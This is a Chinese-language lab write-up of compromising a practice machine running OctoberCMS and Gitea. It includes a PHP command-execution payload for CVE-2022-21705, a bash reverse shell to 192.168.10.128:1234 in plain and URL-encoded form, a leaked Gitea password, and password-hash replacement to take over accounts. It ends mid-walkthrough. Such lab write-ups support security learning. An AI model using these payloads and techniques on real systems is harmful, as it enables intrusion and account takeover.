发现了个登录框！
在config文件夹内发现database文件，发现了mysql的账号密码！
我们尝试登录mysql的那个管理页面！
存在账号名以及密码！密码是哈希值！
类型是bcrypt类型！破解的话很慢！我们尝试别的方法！
8585端口
三个登录框！用户名肯定是frank 既然爆破浪费时间，我们直接加密一个该类型的密码！然后进行替换！
直接编辑即可！
漏洞利用
这个可以直接登录！ frank：自己设置的密码！
这个cms叫 OctoberCMS 可以搜索一下！
经过搜索发现远程代码执行漏洞
OctoberCMS Authenticated RCE (CVE-2022-21705)Join us in the discovery and exploitation of an authenticated remote code execution vulnerability in OctoberCMShttps://cyllective.com/blog/post/octobercms-cve-2022-21705
经过poc验证，确实存在该漏洞！这样我们就可以构造paylaod进行反弹shell了！
function onInit() {
system($_GET['cmd']);
}
利用成功！我们进行反弹shell！
payload
/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.128/1234 0>&1'
/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.10.128/1234%200%3E%261%27 url编码！

系统信息收集
ww-data@devguru:/home$ find / -user frank 2>/dev/null
/var/backups/app.ini.bak
/usr/local/bin/gitea
/opt/gitea
/home/frank
/etc/gitea
经过信息收集，我们发现www-date用户并不能做什么！我们只能进行横向了！
在这里，我是用find命令查看用户frank的文件！其中/var/backups/app.ini.bak文件，最有意思！我们查看一下！
得到用户名以及密码
gitea：UfFPTF8C8jjxVF2m ： gitea
在user表中得到frank用户以及密码！这个我们直接加密并替换！
加密类型：pbkdf2，但是这个需要进行加盐处理，我们直接改为bcrypt类型！配置文件里可以查看到，可以修改加密类型！
登录成功！
横向渗透
发现该cms版本是1.12.5！我们搜索一下该漏洞！

随便更改一个，然后保存即可！在保存的时候会调用配置文件，从而达到rce的效果！
